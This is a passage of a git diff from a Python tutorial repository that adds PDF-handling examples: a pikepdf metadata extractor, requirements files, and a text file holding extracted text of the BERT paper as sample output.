input_file=args['file'], password=args['password'], + action=args['action'], level=args['level'], output_file=args['output_file'] + ) diff --git a/handling-pdf-files/encrypt-pdf/requirements.txt b/handling-pdf-files/encrypt-pdf/requirements.txt new file mode 100644 index 00000000..fe63d946 --- /dev/null +++ b/handling-pdf-files/encrypt-pdf/requirements.txt @@ -0,0 +1,2 @@ +PyPDF4==1.27.0 +pyAesCrypt==6.0.0 \ No newline at end of file diff --git a/handling-pdf-files/extract-pdf-metadata/README.md b/handling-pdf-files/extract-pdf-metadata/README.md new file mode 100644 index 00000000..642be106 --- /dev/null +++ b/handling-pdf-files/extract-pdf-metadata/README.md @@ -0,0 +1 @@ +# [How to Extract PDF Metadata in Python](https://www.thepythoncode.com/article/extract-pdf-metadata-in-python) \ No newline at end of file diff --git a/handling-pdf-files/extract-pdf-metadata/bert-paper.pdf b/handling-pdf-files/extract-pdf-metadata/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/extract-pdf-metadata/bert-paper.pdf differ diff --git a/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata.py b/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata.py new file mode 100644 index 00000000..dc9e44b7 --- /dev/null +++ b/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata.py @@ -0,0 +1,64 @@ +import pikepdf +import datetime +import re +from dateutil.tz import tzutc, tzoffset +import sys + + +pdf_date_pattern = re.compile(''.join([ + r"(D:)?", + r"(?P\d\d\d\d)", + r"(?P\d\d)", + r"(?P\d\d)", + r"(?P\d\d)", + r"(?P\d\d)", + r"(?P\d\d)", + r"(?P[+-zZ])?", + r"(?P\d\d)?", + r"'?(?P\d\d)?'?"])) + + +def transform_date(date_str): + """ + Convert a pdf date such as "D:20120321183444+07'00'" into a usable datetime + http://www.verypdf.com/pdfinfoeditor/pdf-date-format.htm + (D:YYYYMMDDHHmmSSOHH'mm') + :param date_str: pdf date string + :return: datetime object + """ + global pdf_date_pattern + match = re.match(pdf_date_pattern, date_str) + if match: + date_info = match.groupdict() + + for k, v in date_info.items(): # transform values + if v is None: + pass + elif k == 'tz_offset': + date_info[k] = v.lower() # so we can treat Z as z + else: + date_info[k] = int(v) + + if date_info['tz_offset'] in ('z', None): # UTC + date_info['tzinfo'] = tzutc() + else: + multiplier = 1 if date_info['tz_offset'] == '+' else -1 + date_info['tzinfo'] = tzoffset(None, multiplier*(3600 * date_info['tz_hour'] + 60 * date_info['tz_minute'])) + + for k in ('tz_offset', 'tz_hour', 'tz_minute'): # no longer needed + del date_info[k] + + return datetime.datetime(**date_info) + + + +# get the target pdf file from the command-line arguments +pdf_filename = sys.argv[1] +# read the pdf file +pdf = pikepdf.Pdf.open(pdf_filename) +docinfo = pdf.docinfo +for key, value in docinfo.items(): + if str(value).startswith("D:"): + # pdf datetime format, convert to python datetime + value = transform_date(str(pdf.docinfo["/CreationDate"])) + print(key, ":", value) diff --git a/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata_simple.py b/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata_simple.py new file mode 100644 index 00000000..e0deff6f --- /dev/null +++ b/handling-pdf-files/extract-pdf-metadata/extract_pdf_metadata_simple.py @@ -0,0 +1,10 @@ +import pikepdf +import sys + +# get the target pdf file from the command-line arguments +pdf_filename = sys.argv[1] +# read the pdf file +pdf = pikepdf.Pdf.open(pdf_filename) +docinfo = pdf.docinfo +for key, value in docinfo.items(): + print(key, ":", value) diff --git a/handling-pdf-files/extract-pdf-metadata/python_cheat_sheet.pdf b/handling-pdf-files/extract-pdf-metadata/python_cheat_sheet.pdf new file mode 100644 index 00000000..23b9cd51 Binary files /dev/null and b/handling-pdf-files/extract-pdf-metadata/python_cheat_sheet.pdf differ diff --git a/handling-pdf-files/extract-pdf-metadata/requirements.txt b/handling-pdf-files/extract-pdf-metadata/requirements.txt new file mode 100644 index 00000000..ea1898c3 --- /dev/null +++ b/handling-pdf-files/extract-pdf-metadata/requirements.txt @@ -0,0 +1 @@ +pikepdf \ No newline at end of file diff --git a/handling-pdf-files/extract-text-from-pdf/README.md b/handling-pdf-files/extract-text-from-pdf/README.md new file mode 100644 index 00000000..d6d8f25a --- /dev/null +++ b/handling-pdf-files/extract-text-from-pdf/README.md @@ -0,0 +1,4 @@ +# [How to Extract Text from PDF in Python](https://www.thepythoncode.com/article/extract-text-from-pdf-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python extract_text_from_pdf.py --help` \ No newline at end of file diff --git a/handling-pdf-files/extract-text-from-pdf/all-text.txt b/handling-pdf-files/extract-text-from-pdf/all-text.txt new file mode 100644 index 00000000..84272ab6 --- /dev/null +++ b/handling-pdf-files/extract-text-from-pdf/all-text.txt @@ -0,0 +1,2069 @@ +BERT: Pre-training of Deep Bidirectional Transformers for +Language Understanding +Jacob Devlin +Ming-Wei Chang +Kenton Lee +Kristina Toutanova +Google AI Language +{jacobdevlin,mingweichang,kentonl,kristout}@google.com +Abstract +We introduce a new language representa- +tion model called BERT, which stands for +Bidirectional Encoder Representations from +Transformers. Unlike recent language repre- +sentation models (Peters et al., 2018a; Rad- +ford et al., 2018), BERT is designed to pre- +train deep bidirectional representations from +unlabeled text by jointly conditioning on both +left and right context in all layers. As a re- +sult, the pre-trained BERT model can be fine- +tuned with just one additional output layer +to create state-of-the-art models for a wide +range of tasks, such as question answering and +language inference, without substantial task- +specific architecture modifications. +BERT is conceptually simple and empirically +powerful. +It obtains new state-of-the-art re- +sults on eleven natural language processing +tasks, including pushing the GLUE score to +80.5% (7.7% point absolute improvement), +MultiNLI accuracy to 86.7% (4.6% absolute +improvement), SQuAD v1.1 question answer- +ing Test F1 to 93.2 (1.5 point absolute im- +provement) and SQuAD v2.0 Test F1 to 83.1 +(5.1 point absolute improvement). +1 +Introduction +Language model pre-training has been shown to +be effective for improving many natural language +processing tasks (Dai and Le, 2015; Peters et al., +2018a; Radford et al., 2018; Howard and Ruder, +2018). These include sentence-level tasks such as +natural language inference (Bowman et al., 2015; +Williams et al., 2018) and paraphrasing (Dolan +and Brockett, 2005), which aim to predict the re- +lationships between sentences by analyzing them +holistically, as well as token-level tasks such as +named entity recognition and question answering, +where models are required to produce fine-grained +output at the token level (Tjong Kim Sang and +De Meulder, 2003; Rajpurkar et al., 2016). +There are two existing strategies for apply- +ing pre-trained language representations to down- +stream tasks: feature-based and fine-tuning. The +feature-based approach, such as ELMo (Peters +et al., 2018a), uses task-specific architectures that +include the pre-trained representations as addi- +tional features. The fine-tuning approach, such as +the Generative Pre-trained Transformer (OpenAI +GPT) (Radford et al., 2018), introduces minimal +task-specific parameters, and is trained on the +downstream tasks by simply fine-tuning all pre- +trained parameters. The two approaches share the +same objective function during pre-training, where +they use unidirectional language models to learn +general language representations. +We argue that current techniques restrict the +power of the pre-trained representations, espe- +cially for the fine-tuning approaches. +The ma- +jor limitation is that standard language models are +unidirectional, and this limits the choice of archi- +tectures that can be used during pre-training. For +example, in OpenAI GPT, the authors use a left-to- +right architecture, where every token can only at- +tend to previous tokens in the self-attention layers +of the Transformer (Vaswani et al., 2017). Such re- +strictions are sub-optimal for sentence-level tasks, +and could be very harmful when applying fine- +tuning based approaches to token-level tasks such +as question answering, where it is crucial to incor- +porate context from both directions. +In this paper, we improve the fine-tuning based +approaches by proposing BERT: Bidirectional +Encoder +Representations +from +Transformers. +BERT alleviates the previously mentioned unidi- +rectionality constraint by using a “masked lan- +guage model” (MLM) pre-training objective, in- +spired by the Cloze task (Taylor, 1953). +The +masked language model randomly masks some of +the tokens from the input, and the objective is to +predict the original vocabulary id of the masked +arXiv:1810.04805v2 [cs.CL] 24 May 2019 +word based only on its context. +Unlike left-to- +right language model pre-training, the MLM ob- +jective enables the representation to fuse the left +and the right context, which allows us to pre- +train a deep bidirectional Transformer. In addi- +tion to the masked language model, we also use +a “next sentence prediction” task that jointly pre- +trains text-pair representations. The contributions +of our paper are as follows: +• We demonstrate the importance of bidirectional +pre-training for language representations. Un- +like Radford et al. (2018), which uses unidirec- +tional language models for pre-training, BERT +uses masked language models to enable pre- +trained deep bidirectional representations. This +is also in contrast to Peters et al. (2018a), which +uses a shallow concatenation of independently +trained left-to-right and right-to-left LMs. +• We show that pre-trained representations reduce +the need for many heavily-engineered task- +specific architectures. BERT is the first fine- +tuning based representation model that achieves +state-of-the-art performance on a large suite +of sentence-level and token-level tasks, outper- +forming many task-specific architectures. +• BERT advances the state of the art for eleven +NLP tasks. +The code and pre-trained mod- +els are available at https://github.com/ +google-research/bert. +2 +Related Work +There is a long history of pre-training general lan- +guage representations, and we briefly review the +most widely-used approaches in this section. +2.1 +Unsupervised Feature-based Approaches +Learning widely applicable representations of +words has been an active area of research for +decades, including non-neural (Brown et al., 1992; +Ando and Zhang, 2005; Blitzer et al., 2006) and +neural (Mikolov et al., 2013; Pennington et al., +2014) methods. +Pre-trained word embeddings +are an integral part of modern NLP systems, of- +fering significant improvements over embeddings +learned from scratch (Turian et al., 2010). To pre- +train word embedding vectors, left-to-right lan- +guage modeling objectives have been used (Mnih +and Hinton, 2009), as well as objectives to dis- +criminate correct from incorrect words in left and +right context (Mikolov et al., 2013). +These approaches have been generalized to +coarser granularities, such as sentence embed- +dings (Kiros et al., 2015; Logeswaran and Lee, +2018) or paragraph embeddings (Le and Mikolov, +2014). +To train sentence representations, prior +work has used objectives to rank candidate next +sentences (Jernite et al., 2017; Logeswaran and +Lee, 2018), left-to-right generation of next sen- +tence words given a representation of the previous +sentence (Kiros et al., 2015), or denoising auto- +encoder derived objectives (Hill et al., 2016). +ELMo and its predecessor (Peters et al., 2017, +2018a) generalize traditional word embedding re- +search along a different dimension. They extract +context-sensitive features from a left-to-right and a +right-to-left language model. The contextual rep- +resentation of each token is the concatenation of +the left-to-right and right-to-left representations. +When integrating contextual word embeddings +with existing task-specific architectures, ELMo +advances the state of the art for several major NLP +benchmarks (Peters et al., 2018a) including ques- +tion answering (Rajpurkar et al., 2016), sentiment +analysis (Socher et al., 2013), and named entity +recognition (Tjong Kim Sang and De Meulder, +2003). Melamud et al. (2016) proposed learning +contextual representations through a task to pre- +dict a single word from both left and right context +using LSTMs. Similar to ELMo, their model is +feature-based and not deeply bidirectional. Fedus +et al. (2018) shows that the cloze task can be used +to improve the robustness of text generation mod- +els. +2.2 +Unsupervised Fine-tuning Approaches +As with the feature-based approaches, the first +works in this direction only pre-trained word em- +bedding parameters from unlabeled text +(Col- +lobert and Weston, 2008). +More recently, sentence or document encoders +which produce contextual token representations +have been pre-trained from unlabeled text and +fine-tuned for a supervised downstream task (Dai +and Le, 2015; Howard and Ruder, 2018; Radford +et al., 2018). The advantage of these approaches +is that few parameters need to be learned from +scratch. +At least partly due to this advantage, +OpenAI GPT (Radford et al., 2018) achieved pre- +viously state-of-the-art results on many sentence- +level tasks from the GLUE benchmark (Wang +et al., 2018a). +Left-to-right language model- +BERT +BERT +E[CLS] +E1 +E[SEP] +... +EN +E1’ +... +EM’ +C +T1 +T[SEP] +... +TN +T1’ +... +TM’ +[CLS] +Tok 1 +[SEP] +... +Tok N +Tok 1 +... +TokM +Question +Paragraph +Start/End Span +BERT +E[CLS] +E1 +E[SEP] +... +EN +E1’ +... +EM’ +C +T1 +T[SEP] +... +TN +T1’ +... +TM’ +[CLS] +Tok 1 +[SEP] +... +Tok N +Tok 1 +... +TokM +Masked Sentence A +Masked Sentence B +Pre-training +Fine-Tuning +NSP +Mask LM +Mask LM +Unlabeled Sentence A and B Pair +SQuAD +Question Answer Pair +NER +MNLI +Figure 1: Overall pre-training and fine-tuning procedures for BERT. Apart from output layers, the same architec- +tures are used in both pre-training and fine-tuning. The same pre-trained model parameters are used to initialize +models for different down-stream tasks. During fine-tuning, all parameters are fine-tuned. [CLS] is a special +symbol added in front of every input example, and [SEP] is a special separator token (e.g. separating ques- +tions/answers). +ing and auto-encoder objectives have been used +for pre-training such models (Howard and Ruder, +2018; Radford et al., 2018; Dai and Le, 2015). +2.3 +Transfer Learning from Supervised Data +There has also been work showing effective trans- +fer from supervised tasks with large datasets, such +as natural language inference (Conneau et al., +2017) and machine translation (McCann et al., +2017). Computer vision research has also demon- +strated the importance of transfer learning from +large pre-trained models, where an effective recipe +is to fine-tune models pre-trained with Ima- +geNet (Deng et al., 2009; Yosinski et al., 2014). +3 +BERT +We introduce BERT and its detailed implementa- +tion in this section. There are two steps in our +framework: pre-training and fine-tuning. +Dur- +ing pre-training, the model is trained on unlabeled +data over different pre-training tasks. +For fine- +tuning, the BERT model is first initialized with +the pre-trained parameters, and all of the param- +eters are fine-tuned using labeled data from the +downstream tasks. Each downstream task has sep- +arate fine-tuned models, even though they are ini- +tialized with the same pre-trained parameters. The +question-answering example in Figure 1 will serve +as a running example for this section. +A distinctive feature of BERT is its unified ar- +chitecture across different tasks. There is mini- +mal difference between the pre-trained architec- +ture and the final downstream architecture. +Model Architecture +BERT’s model architec- +ture is a multi-layer bidirectional Transformer en- +coder based on the original implementation de- +scribed in Vaswani et al. (2017) and released in +the tensor2tensor library.1 Because the use +of Transformers has become common and our im- +plementation is almost identical to the original, +we will omit an exhaustive background descrip- +tion of the model architecture and refer readers to +Vaswani et al. (2017) as well as excellent guides +such as “The Annotated Transformer.”2 +In this work, we denote the number of layers +(i.e., Transformer blocks) as L, the hidden size as +H, and the number of self-attention heads as A.3 +We primarily report results on two model sizes: +BERTBASE (L=12, H=768, A=12, Total Param- +eters=110M) and BERTLARGE (L=24, H=1024, +A=16, Total Parameters=340M). +BERTBASE was chosen to have the same model +size as OpenAI GPT for comparison purposes. +Critically, however, the BERT Transformer uses +bidirectional self-attention, while the GPT Trans- +former uses constrained self-attention where every +token can only attend to context to its left.4 +1https://github.com/tensorflow/tensor2tensor +2http://nlp.seas.harvard.edu/2018/04/03/attention.html +3In all cases we set the feed-forward/filter size to be 4H, +i.e., 3072 for the H = 768 and 4096 for the H = 1024. +4We note that in the literature the bidirectional Trans- +Input/Output Representations +To make BERT +handle a variety of down-stream tasks, our input +representation is able to unambiguously represent +both a single sentence and a pair of sentences +(e.g., ⟨ Question, Answer ⟩) in one token sequence. +Throughout this work, a “sentence” can be an arbi- +trary span of contiguous text, rather than an actual +linguistic sentence. A “sequence” refers to the in- +put token sequence to BERT, which may be a sin- +gle sentence or two sentences packed together. +We use WordPiece embeddings (Wu et al., +2016) with a 30,000 token vocabulary. The first +token of every sequence is always a special clas- +sification token ([CLS]). The final hidden state +corresponding to this token is used as the ag- +gregate sequence representation for classification +tasks. Sentence pairs are packed together into a +single sequence. We differentiate the sentences in +two ways. First, we separate them with a special +token ([SEP]). Second, we add a learned embed- +ding to every token indicating whether it belongs +to sentence A or sentence B. As shown in Figure 1, +we denote input embedding as E, the final hidden +vector of the special [CLS] token as C ∈ RH, +and the final hidden vector for the ith input token +as Ti ∈ RH. +For a given token, its input representation is +constructed by summing the corresponding token, +segment, and position embeddings. A visualiza- +tion of this construction can be seen in Figure 2. +3.1 +Pre-training BERT +Unlike Peters et al. (2018a) and Radford et al. +(2018), we do not use traditional left-to-right or +right-to-left language models to pre-train BERT. +Instead, we pre-train BERT using two unsuper- +vised tasks, described in this section. This step +is presented in the left part of Figure 1. +Task #1: Masked LM +Intuitively, it is reason- +able to believe that a deep bidirectional model is +strictly more powerful than either a left-to-right +model or the shallow concatenation of a left-to- +right and a right-to-left model. +Unfortunately, +standard conditional language models can only be +trained left-to-right or right-to-left, since bidirec- +tional conditioning would allow each word to in- +directly “see itself”, and the model could trivially +predict the target word in a multi-layered context. +former is often referred to as a “Transformer encoder” while +the left-context-only version is referred to as a “Transformer +decoder” since it can be used for text generation. +In order to train a deep bidirectional representa- +tion, we simply mask some percentage of the input +tokens at random, and then predict those masked +tokens. We refer to this procedure as a “masked +LM” (MLM), although it is often referred to as a +Cloze task in the literature (Taylor, 1953). In this +case, the final hidden vectors corresponding to the +mask tokens are fed into an output softmax over +the vocabulary, as in a standard LM. In all of our +experiments, we mask 15% of all WordPiece to- +kens in each sequence at random. In contrast to +denoising auto-encoders (Vincent et al., 2008), we +only predict the masked words rather than recon- +structing the entire input. +Although this allows us to obtain a bidirec- +tional pre-trained model, a downside is that we +are creating a mismatch between pre-training and +fine-tuning, since the [MASK] token does not ap- +pear during fine-tuning. To mitigate this, we do +not always replace “masked” words with the ac- +tual [MASK] token. The training data generator +chooses 15% of the token positions at random for +prediction. If the i-th token is chosen, we replace +the i-th token with (1) the [MASK] token 80% of +the time (2) a random token 10% of the time (3) +the unchanged i-th token 10% of the time. Then, +Ti will be used to predict the original token with +cross entropy loss. We compare variations of this +procedure in Appendix C.2. +Task #2: +Next Sentence Prediction (NSP) +Many important downstream tasks such as Ques- +tion Answering (QA) and Natural Language Infer- +ence (NLI) are based on understanding the rela- +tionship between two sentences, which is not di- +rectly captured by language modeling. In order +to train a model that understands sentence rela- +tionships, we pre-train for a binarized next sen- +tence prediction task that can be trivially gener- +ated from any monolingual corpus. Specifically, +when choosing the sentences A and B for each pre- +training example, 50% of the time B is the actual +next sentence that follows A (labeled as IsNext), +and 50% of the time it is a random sentence from +the corpus (labeled as NotNext). +As we show +in Figure 1, C is used for next sentence predic- +tion (NSP).5 Despite its simplicity, we demon- +strate in Section 5.1 that pre-training towards this +task is very beneficial to both QA and NLI. 6 +5The final model achieves 97%-98% accuracy on NSP. +6The vector C is not a meaningful sentence representation +without fine-tuning, since it was trained with NSP. +[CLS] +he +likes +play +##ing +[SEP] +my +dog +is +cute +[SEP] +Input +E[CLS] +Ehe +Elikes +Eplay +E##ing +E[SEP] +Emy +Edog +Eis +Ecute +E[SEP] +Token +Embeddings +EA +EB +EB +EB +EB +EB +EA +EA +EA +EA +EA +Segment +Embeddings +E0 +E6 +E7 +E8 +E9 +E10 +E1 +E2 +E3 +E4 +E5 +Position +Embeddings +Figure 2: BERT input representation. The input embeddings are the sum of the token embeddings, the segmenta- +tion embeddings and the position embeddings. +The NSP task is closely related to representation- +learning objectives used in Jernite et al. (2017) and +Logeswaran and Lee (2018). However, in prior +work, only sentence embeddings are transferred to +down-stream tasks, where BERT transfers all pa- +rameters to initialize end-task model parameters. +Pre-training data The pre-training procedure +largely follows the existing literature on language +model pre-training. For the pre-training corpus we +use the BooksCorpus (800M words) (Zhu et al., +2015) and English Wikipedia (2,500M words). +For Wikipedia we extract only the text passages +and ignore lists, tables, and headers. It is criti- +cal to use a document-level corpus rather than a +shuffled sentence-level corpus such as the Billion +Word Benchmark (Chelba et al., 2013) in order to +extract long contiguous sequences. +3.2 +Fine-tuning BERT +Fine-tuning is straightforward since the self- +attention mechanism in the Transformer al- +lows BERT to model many downstream tasks— +whether they involve single text or text pairs—by +swapping out the appropriate inputs and outputs. +For applications involving text pairs, a common +pattern is to independently encode text pairs be- +fore applying bidirectional cross attention, such +as Parikh et al. (2016); Seo et al. (2017). BERT +instead uses the self-attention mechanism to unify +these two stages, as encoding a concatenated text +pair with self-attention effectively includes bidi- +rectional cross attention between two sentences. +For each task, we simply plug in the task- +specific inputs and outputs into BERT and fine- +tune all the parameters end-to-end. +At the in- +put, sentence A and sentence B from pre-training +are analogous to (1) sentence pairs in paraphras- +ing, (2) hypothesis-premise pairs in entailment, (3) +question-passage pairs in question answering, and +(4) a degenerate text-∅ pair in text classification +or sequence tagging. At the output, the token rep- +resentations are fed into an output layer for token- +level tasks, such as sequence tagging or question +answering, and the [CLS] representation is fed +into an output layer for classification, such as en- +tailment or sentiment analysis. +Compared to pre-training, fine-tuning is rela- +tively inexpensive. All of the results in the pa- +per can be replicated in at most 1 hour on a sin- +gle Cloud TPU, or a few hours on a GPU, starting +from the exact same pre-trained model.7 We de- +scribe the task-specific details in the correspond- +ing subsections of Section 4. More details can be +found in Appendix A.5. +4 +Experiments +In this section, we present BERT fine-tuning re- +sults on 11 NLP tasks. +4.1 +GLUE +The General Language Understanding Evaluation +(GLUE) benchmark (Wang et al., 2018a) is a col- +lection of diverse natural language understanding +tasks. Detailed descriptions of GLUE datasets are +included in Appendix B.1. +To fine-tune on GLUE, we represent the input +sequence (for single sentence or sentence pairs) +as described in Section 3, and use the final hid- +den vector C ∈ RH corresponding to the first +input token ([CLS]) as the aggregate representa- +tion. The only new parameters introduced during +fine-tuning are classification layer weights W ∈ +RK×H, where K is the number of labels. We com- +pute a standard classification loss with C and W, +i.e., log(softmax(CW T )). +7For example, the BERT SQuAD model can be trained in +around 30 minutes on a single Cloud TPU to achieve a Dev +F1 score of 91.0%. +8See (10) in https://gluebenchmark.com/faq. +System +MNLI-(m/mm) +QQP +QNLI +SST-2 +CoLA +STS-B +MRPC +RTE +Average +392k +363k +108k +67k +8.5k +5.7k +3.5k +2.5k +- +Pre-OpenAI SOTA +80.6/80.1 +66.1 +82.3 +93.2 +35.0 +81.0 +86.0 +61.7 +74.0 +BiLSTM+ELMo+Attn +76.4/76.1 +64.8 +79.8 +90.4 +36.0 +73.3 +84.9 +56.8 +71.0 +OpenAI GPT +82.1/81.4 +70.3 +87.4 +91.3 +45.4 +80.0 +82.3 +56.0 +75.1 +BERTBASE +84.6/83.4 +71.2 +90.5 +93.5 +52.1 +85.8 +88.9 +66.4 +79.6 +BERTLARGE +86.7/85.9 +72.1 +92.7 +94.9 +60.5 +86.5 +89.3 +70.1 +82.1 +Table 1: GLUE Test results, scored by the evaluation server (https://gluebenchmark.com/leaderboard). +The number below each task denotes the number of training examples. The “Average” column is slightly different +than the official GLUE score, since we exclude the problematic WNLI set.8 BERT and OpenAI GPT are single- +model, single task. F1 scores are reported for QQP and MRPC, Spearman correlations are reported for STS-B, and +accuracy scores are reported for the other tasks. We exclude entries that use BERT as one of their components. +We use a batch size of 32 and fine-tune for 3 +epochs over the data for all GLUE tasks. For each +task, we selected the best fine-tuning learning rate +(among 5e-5, 4e-5, 3e-5, and 2e-5) on the Dev set. +Additionally, for BERTLARGE we found that fine- +tuning was sometimes unstable on small datasets, +so we ran several random restarts and selected the +best model on the Dev set. With random restarts, +we use the same pre-trained checkpoint but per- +form different fine-tuning data shuffling and clas- +sifier layer initialization.9 +Results are presented in Table 1. +Both +BERTBASE and BERTLARGE outperform all sys- +tems on all tasks by a substantial margin, obtaining +4.5% and 7.0% respective average accuracy im- +provement over the prior state of the art. Note that +BERTBASE and OpenAI GPT are nearly identical +in terms of model architecture apart from the at- +tention masking. For the largest and most widely +reported GLUE task, MNLI, BERT obtains a 4.6% +absolute accuracy improvement. On the official +GLUE leaderboard10, BERTLARGE obtains a score +of 80.5, compared to OpenAI GPT, which obtains +72.8 as of the date of writing. +We find that BERTLARGE significantly outper- +forms BERTBASE across all tasks, especially those +with very little training data. The effect of model +size is explored more thoroughly in Section 5.2. +4.2 +SQuAD v1.1 +The +Stanford +Question +Answering +Dataset +(SQuAD v1.1) is a collection of 100k crowd- +sourced question/answer pairs (Rajpurkar et al., +2016). +Given a question and a passage from +9The GLUE data set distribution does not include the Test +labels, and we only made a single GLUE evaluation server +submission for each of BERTBASE and BERTLARGE. +10https://gluebenchmark.com/leaderboard +Wikipedia containing the answer, the task is to +predict the answer text span in the passage. +As shown in Figure 1, in the question answer- +ing task, we represent the input question and pas- +sage as a single packed sequence, with the ques- +tion using the A embedding and the passage using +the B embedding. We only introduce a start vec- +tor S ∈ RH and an end vector E ∈ RH during +fine-tuning. The probability of word i being the +start of the answer span is computed as a dot prod- +uct between Ti and S followed by a softmax over +all of the words in the paragraph: Pi = +eS·Ti +� +j eS·Tj . +The analogous formula is used for the end of the +answer span. The score of a candidate span from +position i to position j is defined as S·Ti + E·Tj, +and the maximum scoring span where j ≥ i is +used as a prediction. The training objective is the +sum of the log-likelihoods of the correct start and +end positions. We fine-tune for 3 epochs with a +learning rate of 5e-5 and a batch size of 32. +Table 2 shows top leaderboard entries as well +as results from top published systems (Seo et al., +2017; Clark and Gardner, 2018; Peters et al., +2018a; Hu et al., 2018). The top results from the +SQuAD leaderboard do not have up-to-date public +system descriptions available,11 and are allowed to +use any public data when training their systems. +We therefore use modest data augmentation in +our system by first fine-tuning on TriviaQA (Joshi +et al., 2017) befor fine-tuning on SQuAD. +Our best performing system outperforms the top +leaderboard system by +1.5 F1 in ensembling and ++1.3 F1 as a single system. In fact, our single +BERT model outperforms the top ensemble sys- +tem in terms of F1 score. Without TriviaQA fine- +11QANet is described in Yu et al. (2018), but the system +has improved substantially after publication. +System +Dev +Test +EM +F1 +EM +F1 +Top Leaderboard Systems (Dec 10th, 2018) +Human +- +- +82.3 91.2 +#1 Ensemble - nlnet +- +- +86.0 91.7 +#2 Ensemble - QANet +- +- +84.5 90.5 +Published +BiDAF+ELMo (Single) +- +85.6 +- +85.8 +R.M. Reader (Ensemble) +81.2 87.9 82.3 88.5 +Ours +BERTBASE (Single) +80.8 88.5 +- +- +BERTLARGE (Single) +84.1 90.9 +- +- +BERTLARGE (Ensemble) +85.8 91.8 +- +- +BERTLARGE (Sgl.+TriviaQA) +84.2 91.1 85.1 91.8 +BERTLARGE (Ens.+TriviaQA) 86.2 92.2 87.4 93.2 +Table 2: +SQuAD 1.1 results. The BERT ensemble +is 7x systems which use different pre-training check- +points and fine-tuning seeds. +System +Dev +Test +EM +F1 +EM +F1 +Top Leaderboard Systems (Dec 10th, 2018) +Human +86.3 89.0 86.9 89.5 +#1 Single - MIR-MRC (F-Net) +- +- +74.8 78.0 +#2 Single - nlnet +- +- +74.2 77.1 +Published +unet (Ensemble) +- +- +71.4 74.9 +SLQA+ (Single) +- +71.4 74.4 +Ours +BERTLARGE (Single) +78.7 81.9 80.0 83.1 +Table 3: SQuAD 2.0 results. We exclude entries that +use BERT as one of their components. +tuning data, we only lose 0.1-0.4 F1, still outper- +forming all existing systems by a wide margin.12 +4.3 +SQuAD v2.0 +The SQuAD 2.0 task extends the SQuAD 1.1 +problem definition by allowing for the possibility +that no short answer exists in the provided para- +graph, making the problem more realistic. +We use a simple approach to extend the SQuAD +v1.1 BERT model for this task. We treat ques- +tions that do not have an answer as having an an- +swer span with start and end at the [CLS] to- +ken. The probability space for the start and end +answer span positions is extended to include the +position of the [CLS] token. For prediction, we +compare the score of the no-answer span: snull = +S·C + E·C to the score of the best non-null span +12The TriviaQA data we used consists of paragraphs from +TriviaQA-Wiki formed of the first 400 tokens in documents, +that contain at least one of the provided possible answers. +System +Dev +Test +ESIM+GloVe +51.9 52.7 +ESIM+ELMo +59.1 59.2 +OpenAI GPT +- +78.0 +BERTBASE +81.6 +- +BERTLARGE +86.6 86.3 +Human (expert)† +- +85.0 +Human (5 annotations)† +- +88.0 +Table 4: SWAG Dev and Test accuracies. †Human per- +formance is measured with 100 samples, as reported in +the SWAG paper. +ˆ +si,j = maxj≥iS·Ti + E·Tj. We predict a non-null +answer when ˆ +si,j > snull + τ, where the thresh- +old τ is selected on the dev set to maximize F1. +We did not use TriviaQA data for this model. We +fine-tuned for 2 epochs with a learning rate of 5e-5 +and a batch size of 48. +The results compared to prior leaderboard en- +tries and top published work (Sun et al., 2018; +Wang et al., 2018b) are shown in Table 3, exclud- +ing systems that use BERT as one of their com- +ponents. We observe a +5.1 F1 improvement over +the previous best system. +4.4 +SWAG +The Situations With Adversarial Generations +(SWAG) dataset contains 113k sentence-pair com- +pletion examples that evaluate grounded common- +sense inference (Zellers et al., 2018). Given a sen- +tence, the task is to choose the most plausible con- +tinuation among four choices. +When fine-tuning on the SWAG dataset, we +construct four input sequences, each containing +the concatenation of the given sentence (sentence +A) and a possible continuation (sentence B). The +only task-specific parameters introduced is a vec- +tor whose dot product with the [CLS] token rep- +resentation C denotes a score for each choice +which is normalized with a softmax layer. +We fine-tune the model for 3 epochs with a +learning rate of 2e-5 and a batch size of 16. Re- +sults are presented in Table 4. BERTLARGE out- +performs the authors’ baseline ESIM+ELMo sys- +tem by +27.1% and OpenAI GPT by 8.3%. +5 +Ablation Studies +In this section, we perform ablation experiments +over a number of facets of BERT in order to better +understand their relative importance. Additional +Dev Set +Tasks +MNLI-m QNLI MRPC SST-2 SQuAD +(Acc) +(Acc) +(Acc) +(Acc) +(F1) +BERTBASE +84.4 +88.4 +86.7 +92.7 +88.5 +No NSP +83.9 +84.9 +86.5 +92.6 +87.9 +LTR & No NSP +82.1 +84.3 +77.5 +92.1 +77.8 ++ BiLSTM +82.1 +84.1 +75.7 +91.6 +84.9 +Table 5: Ablation over the pre-training tasks using the +BERTBASE architecture. “No NSP” is trained without +the next sentence prediction task. “LTR & No NSP” is +trained as a left-to-right LM without the next sentence +prediction, like OpenAI GPT. “+ BiLSTM” adds a ran- +domly initialized BiLSTM on top of the “LTR + No +NSP” model during fine-tuning. +ablation studies can be found in Appendix C. +5.1 +Effect of Pre-training Tasks +We demonstrate the importance of the deep bidi- +rectionality of BERT by evaluating two pre- +training objectives using exactly the same pre- +training data, fine-tuning scheme, and hyperpa- +rameters as BERTBASE: +No NSP: A bidirectional model which is trained +using the “masked LM” (MLM) but without the +“next sentence prediction” (NSP) task. +LTR & No NSP: A left-context-only model which +is trained using a standard Left-to-Right (LTR) +LM, rather than an MLM. The left-only constraint +was also applied at fine-tuning, because removing +it introduced a pre-train/fine-tune mismatch that +degraded downstream performance. Additionally, +this model was pre-trained without the NSP task. +This is directly comparable to OpenAI GPT, but +using our larger training dataset, our input repre- +sentation, and our fine-tuning scheme. +We first examine the impact brought by the NSP +task. +In Table 5, we show that removing NSP +hurts performance significantly on QNLI, MNLI, +and SQuAD 1.1. Next, we evaluate the impact +of training bidirectional representations by com- +paring “No NSP” to “LTR & No NSP”. The LTR +model performs worse than the MLM model on all +tasks, with large drops on MRPC and SQuAD. +For SQuAD it is intuitively clear that a LTR +model will perform poorly at token predictions, +since the token-level hidden states have no right- +side context. In order to make a good faith at- +tempt at strengthening the LTR system, we added +a randomly initialized BiLSTM on top. This does +significantly improve results on SQuAD, but the +results are 